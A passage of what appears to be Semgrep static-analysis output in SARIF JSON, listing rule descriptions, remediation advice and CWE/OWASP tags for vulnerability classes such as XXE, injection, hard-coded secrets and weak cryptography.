[https://blocksecteam.medium.com/when-safemint-becomes-unsafe-lessons-from-the-hypebears-security-incident-2965209bda2a](https://blocksecteam.medium.com/when-safemint-becomes-unsafe-lessons-from-the-hypebears-security-incident-2965209bda2a)\n - [https://etherscan.io/address/0x14e0a1f310e2b7e321c91f58847e98b8c802f6ef](https://etherscan.io/address/0x14e0a1f310e2b7e321c91f58847e98b8c802f6ef)\n","text":"ERC721 onERC721Received() reentrancy"},"helpUri":"https://semgrep.dev/r/solidity.security.erc721-reentrancy.erc721-reentrancy","id":"solidity.security.erc721-reentrancy.erc721-reentrancy","name":"solidity.security.erc721-reentrancy.erc721-reentrancy","properties":{"precision":"very-high","tags":["CWE-841: Improper Enforcement of Behavioral Workflow","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.erc721-reentrancy.erc721-reentrancy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The host for this proxy URL is dynamically determined. This can be dangerous if the host can be injected by an attacker because it may forcibly alter destination of the proxy. Consider hardcoding acceptable destinations and retrieving them with 'map' or something similar."},"help":{"markdown":"The host for this proxy URL is dynamically determined. This can be dangerous if the host can be injected by an attacker because it may forcibly alter destination of the proxy. Consider hardcoding acceptable destinations and retrieving them with 'map' or something similar.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.dynamic-proxy-host.dynamic-proxy-host)\n - [https://nginx.org/en/docs/http/ngx_http_map_module.html](https://nginx.org/en/docs/http/ngx_http_map_module.html)\n","text":"The host for this proxy URL is dynamically determined. This can be dangerous if the host can be injected by an attacker because it may forcibly alter destination of the proxy. Consider hardcoding acceptable destinations and retrieving them with 'map' or something similar."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.dynamic-proxy-host.dynamic-proxy-host","id":"generic.nginx.security.dynamic-proxy-host.dynamic-proxy-host","name":"generic.nginx.security.dynamic-proxy-host.dynamic-proxy-host","properties":{"precision":"very-high","tags":["CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.dynamic-proxy-host.dynamic-proxy-host"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"DOCTYPE declarations are enabled for this TransformerFactory. This is vulnerable to XML external entity attacks. Disable this by setting the attributes \"accessExternalDTD\" and \"accessExternalStylesheet\" to \"\"."},"help":{"markdown":"DOCTYPE declarations are enabled for this TransformerFactory. This is vulnerable to XML external entity attacks. Disable this by setting the attributes \"accessExternalDTD\" and \"accessExternalStylesheet\" to \"\".\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.transformerfactory-dtds-not-disabled.transformerfactory-dtds-not-disabled)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n - [https://xerces.apache.org/xerces2-j/features.html](https://xerces.apache.org/xerces2-j/features.html)\n","text":"DOCTYPE declarations are enabled for this TransformerFactory. This is vulnerable to XML external entity attacks. Disable this by setting the attributes \"accessExternalDTD\" and \"accessExternalStylesheet\" to \"\"."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xxe.transformerfactory-dtds-not-disabled.transformerfactory-dtds-not-disabled","id":"java.lang.security.audit.xxe.transformerfactory-dtds-not-disabled.transformerfactory-dtds-not-disabled","name":"java.lang.security.audit.xxe.transformerfactory-dtds-not-disabled.transformerfactory-dtds-not-disabled","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xxe.transformerfactory-dtds-not-disabled.transformerfactory-dtds-not-disabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.neo4j.python-neo4j-hardcoded-secret.python-neo4j-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.neo4j.python-neo4j-hardcoded-secret.python-neo4j-hardcoded-secret","id":"python.neo4j.python-neo4j-hardcoded-secret.python-neo4j-hardcoded-secret","name":"python.neo4j.python-neo4j-hardcoded-secret.python-neo4j-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.neo4j.python-neo4j-hardcoded-secret.python-neo4j-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.system.passwordauthenticationmethod-hardcoded-secret.passwordauthenticationmethod-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.system.passwordauthenticationmethod-hardcoded-secret.passwordauthenticationmethod-hardcoded-secret","id":"csharp.lang.security.system.passwordauthenticationmethod-hardcoded-secret.passwordauthenticationmethod-hardcoded-secret","name":"csharp.lang.security.system.passwordauthenticationmethod-hardcoded-secret.passwordauthenticationmethod-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.system.passwordauthenticationmethod-hardcoded-secret.passwordauthenticationmethod-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.use-of-md5.use-of-md5)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.use-of-md5.use-of-md5","id":"kotlin.lang.security.use-of-md5.use-of-md5","name":"kotlin.lang.security.use-of-md5.use-of-md5","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.use-of-md5.use-of-md5"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"NullCipher was detected. This will not encrypt anything; the cipher text will be the same as the plain text. Use a valid, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"NullCipher was detected. This will not encrypt anything; the cipher text will be the same as the plain text. Use a valid, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.no-null-cipher.no-null-cipher)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"NullCipher was detected. This will not encrypt anything; the cipher text will be the same as the plain text. Use a valid, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.no-null-cipher.no-null-cipher","id":"kotlin.lang.security.no-null-cipher.no-null-cipher","name":"kotlin.lang.security.no-null-cipher.no-null-cipher","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.no-null-cipher.no-null-cipher"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.cryptoswift.chacha20-hardcoded-secret.chacha20-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/swift.cryptoswift.chacha20-hardcoded-secret.chacha20-hardcoded-secret","id":"swift.cryptoswift.chacha20-hardcoded-secret.chacha20-hardcoded-secret","name":"swift.cryptoswift.chacha20-hardcoded-secret.chacha20-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.cryptoswift.chacha20-hardcoded-secret.chacha20-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected DynamoDB query params that are tainted by `$EVENT` object. This could lead to NoSQL injection if the variable is user-controlled and not properly sanitized. Explicitly assign query params instead of passing data from `$EVENT` directly to DynamoDB client."},"help":{"markdown":"Detected DynamoDB query params that are tainted by `$EVENT` object. This could lead to NoSQL injection if the variable is user-controlled and not properly sanitized. Explicitly assign query params instead of passing data from `$EVENT` directly to DynamoDB client.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.dynamodb-request-object.dynamodb-request-object)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected DynamoDB query params that are tainted by `$EVENT` object. This could lead to NoSQL injection if the variable is user-controlled and not properly sanitized. Explicitly assign query params instead of passing data from `$EVENT` directly to DynamoDB client."},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.dynamodb-request-object.dynamodb-request-object","id":"javascript.aws-lambda.security.dynamodb-request-object.dynamodb-request-object","name":"javascript.aws-lambda.security.dynamodb-request-object.dynamodb-request-object","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.dynamodb-request-object.dynamodb-request-object"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"No token revoking configured for `express-jwt`. A leaked token could still be used and unable to be revoked. Consider using function as the `isRevoked` option."},"help":{"markdown":"No token revoking configured for `express-jwt`. A leaked token could still be used and unable to be revoked. Consider using function as the `isRevoked` option.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-jwt-not-revoked.express-jwt-not-revoked)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"No token revoking configured for `express-jwt`. A leaked token could still be used and unable to be revoked. Consider using function as the `isRevoked` option."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-jwt-not-revoked.express-jwt-not-revoked","id":"javascript.express.security.audit.express-jwt-not-revoked.express-jwt-not-revoked","name":"javascript.express.security.audit.express-jwt-not-revoked.express-jwt-not-revoked","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-jwt-not-revoked.express-jwt-not-revoked"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.simple-command-injection-direct-input.simple-command-injection-direct-input)\n - [https://docs.oracle.com/javase/8/docs/api/java/lang/Runtime.html](https://docs.oracle.com/javase/8/docs/api/java/lang/Runtime.html)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"helpUri":"https://semgrep.dev/r/java.spring.simple-command-injection-direct-input.simple-command-injection-direct-input","id":"java.spring.simple-command-injection-direct-input.simple-command-injection-direct-input","name":"java.spring.simple-command-injection-direct-input.simple-command-injection-direct-input","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.simple-command-injection-direct-input.simple-command-injection-direct-input"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"In Kubernetes, each pod runs in its own isolated environment with its own  set of security policies. However, certain container images may contain  `setuid` or `setgid` binaries that could allow an attacker to perform  privilege escalation and gain access to sensitive resources. To mitigate  this risk, it's recommended to add a `securityContext` to the container in  the pod, with the parameter `allowPrivilegeEscalation` set to `false`.  This will prevent the container from running any privileged processes and  limit the impact of any potential attacks.  In the container `$CONTAINER` this parameter is set to `true` which makes this container much more vulnerable to privelege escalation attacks."},"help":{"markdown":"In Kubernetes, each pod runs in its own isolated environment with its own  set of security policies. However, certain container images may contain  `setuid` or `setgid` binaries that could allow an attacker to perform  privilege escalation and gain access to sensitive resources. To mitigate  this risk, it's recommended to add a `securityContext` to the container in  the pod, with the parameter `allowPrivilegeEscalation` set to `false`.  This will prevent the container from running any privileged processes and  limit the impact of any potential attacks.  In the container `$CONTAINER` this parameter is set to `true` which makes this container much more vulnerable to privelege escalation attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.allow-privilege-escalation-true.allow-privilege-escalation-true)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privilege-escalation](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privilege-escalation)\n - [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)\n - [https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt](https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag)\n","text":"In Kubernetes, each pod runs in its own isolated environment with its own  set of security policies. However, certain container images may contain  `setuid` or `setgid` binaries that could allow an attacker to perform  privilege escalation and gain access to sensitive resources. To mitigate  this risk, it's recommended to add a `securityContext` to the container in  the pod, with the parameter `allowPrivilegeEscalation` set to `false`.  This will prevent the container from running any privileged processes and  limit the impact of any potential attacks.  In the container `$CONTAINER` this parameter is set to `true` which makes this container much more vulnerable to privelege escalation attacks."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.allow-privilege-escalation-true.allow-privilege-escalation-true","id":"yaml.kubernetes.security.allow-privilege-escalation-true.allow-privilege-escalation-true","name":"yaml.kubernetes.security.allow-privilege-escalation-true.allow-privilege-escalation-true","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.allow-privilege-escalation-true.allow-privilege-escalation-true"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The deprecated functions 'createCipher' and 'createDecipher' generate the same initialization vector every time. For counter modes such as CTR, GCM, or CCM this leads to break of both confidentiality and integrity, if the key is used more than once. Other modes are still affected in their strength, though they're not completely broken. Use 'createCipheriv' or 'createDecipheriv' instead."},"help":{"markdown":"The deprecated functions 'createCipher' and 'createDecipher' generate the same initialization vector every time. For counter modes such as CTR, GCM, or CCM this leads to break of both confidentiality and integrity, if the key is used more than once. Other modes are still affected in their strength, though they're not completely broken. Use 'createCipheriv' or 'createDecipheriv' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.node-crypto.security.create-de-cipher-no-iv.create-de-cipher-no-iv)\n - [https://nodejs.org/api/crypto.html#cryptocreatecipheralgorithm-password-options](https://nodejs.org/api/crypto.html#cryptocreatecipheralgorithm-password-options)\n - [https://nodejs.org/api/crypto.html#cryptocreatedecipheralgorithm-password-options](https://nodejs.org/api/crypto.html#cryptocreatedecipheralgorithm-password-options)\n","text":"The deprecated functions 'createCipher' and 'createDecipher' generate the same initialization vector every time. For counter modes such as CTR, GCM, or CCM this leads to break of both confidentiality and integrity, if the key is used more than once. Other modes are still affected in their strength, though they're not completely broken. Use 'createCipheriv' or 'createDecipheriv' instead."},"helpUri":"https://semgrep.dev/r/javascript.node-crypto.security.create-de-cipher-no-iv.create-de-cipher-no-iv","id":"javascript.node-crypto.security.create-de-cipher-no-iv.create-de-cipher-no-iv","name":"javascript.node-crypto.security.create-de-cipher-no-iv.create-de-cipher-no-iv","properties":{"precision":"very-high","tags":["CWE-1204: Generation of Weak Initialization Vector (IV)","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.node-crypto.security.create-de-cipher-no-iv.create-de-cipher-no-iv"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found a potentially user-controllable argument in the construction of a regular expressions. This may result in excessive resource consumption when applied to certain inputs, or when the user is allowed to control the match target. Avoid allowing users to specify regular expressions processed by the server. If you must support user-controllable input in a regular expression, use an allow-list to restrict the expressions users may supply to limit catastrophic backtracking."},"help":{"markdown":"Found a potentially user-controllable argument in the construction of a regular expressions. This may result in excessive resource consumption when applied to certain inputs, or when the user is allowed to control the match target. Avoid allowing users to specify regular expressions processed by the server. If you must support user-controllable input in a regular expression, use an allow-list to restrict the expressions users may supply to limit catastrophic backtracking.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-regex-dos.check-regex-dos)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n","text":"Found a potentially user-controllable argument in the construction of a regular expressions. This may result in excessive resource consumption when applied to certain inputs, or when the user is allowed to control the match target. Avoid allowing users to specify regular expressions processed by the server. If you must support user-controllable input in a regular expression, use an allow-list to restrict the expressions users may supply to limit catastrophic backtracking."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-regex-dos.check-regex-dos","id":"ruby.rails.security.brakeman.check-regex-dos.check-regex-dos","name":"ruby.rails.security.brakeman.check-regex-dos.check-regex-dos","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-regex-dos.check-regex-dos"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.code.vm-express.vm-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/javascript.express.code.vm-express.vm-express","id":"javascript.express.code.vm-express.vm-express","name":"javascript.express.code.vm-express.vm-express","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.code.vm-express.vm-express"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The function `mktemp` is deprecated. When using this function, it is possible for an attacker to modify the created file before the filename is returned. Use `NamedTemporaryFile()` instead and pass it the `delete=False` parameter."},"help":{"markdown":"The function `mktemp` is deprecated. When using this function, it is possible for an attacker to modify the created file before the filename is returned. Use `NamedTemporaryFile()` instead and pass it the `delete=False` parameter.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.file.avoid-mktemp.avoid-mktemp)\n - [https://docs.python.org/3/library/tempfile.html#tempfile.mktemp](https://docs.python.org/3/library/tempfile.html#tempfile.mktemp)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"The function `mktemp` is deprecated. When using this function, it is possible for an attacker to modify the created file before the filename is returned. Use `NamedTemporaryFile()` instead and pass it the `delete=False` parameter."},"helpUri":"https://semgrep.dev/r/python.lang.file.avoid-mktemp.avoid-mktemp","id":"python.lang.file.avoid-mktemp.avoid-mktemp","name":"python.lang.file.avoid-mktemp.avoid-mktemp","properties":{"precision":"very-high","tags":["CWE-377: Insecure Temporary File","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.file.avoid-mktemp.avoid-mktemp"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent via http.$FUNC to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"help":{"markdown":"Checks for requests sent via http.$FUNC to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.http-request.http-request)\n - [https://golang.org/pkg/net/http/#Get](https://golang.org/pkg/net/http/#Get)\n","text":"Checks for requests sent via http.$FUNC to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.http-request.http-request","id":"problem-based-packs.insecure-transport.go-stdlib.http-request.http-request","name":"problem-based-packs.insecure-transport.go-stdlib.http-request.http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.http-request.http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of the functions `Math.random()` or `java.util.Random()`. These are both not cryptographically strong random number generators (RNGs). If you are using these RNGs to create passwords or secret tokens, use `java.security.SecureRandom` instead."},"help":{"markdown":"Detected use of the functions `Math.random()` or `java.util.Random()`. These are both not cryptographically strong random number generators (RNGs). If you are using these RNGs to create passwords or secret tokens, use `java.security.SecureRandom` instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.weak-random.weak-random)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the functions `Math.random()` or `java.util.Random()`. These are both not cryptographically strong random number generators (RNGs). If you are using these RNGs to create passwords or secret tokens, use `java.security.SecureRandom` instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.weak-random.weak-random","id":"java.lang.security.audit.crypto.weak-random.weak-random","name":"java.lang.security.audit.crypto.weak-random.weak-random","properties":{"precision":"very-high","tags":["CWE-330: Use of Insufficiently Random Values","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.weak-random.weak-random"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.sql.pg-sqli-taint.pg-sqli-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pg.uptrace.dev/queries/](https://pg.uptrace.dev/queries/)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational 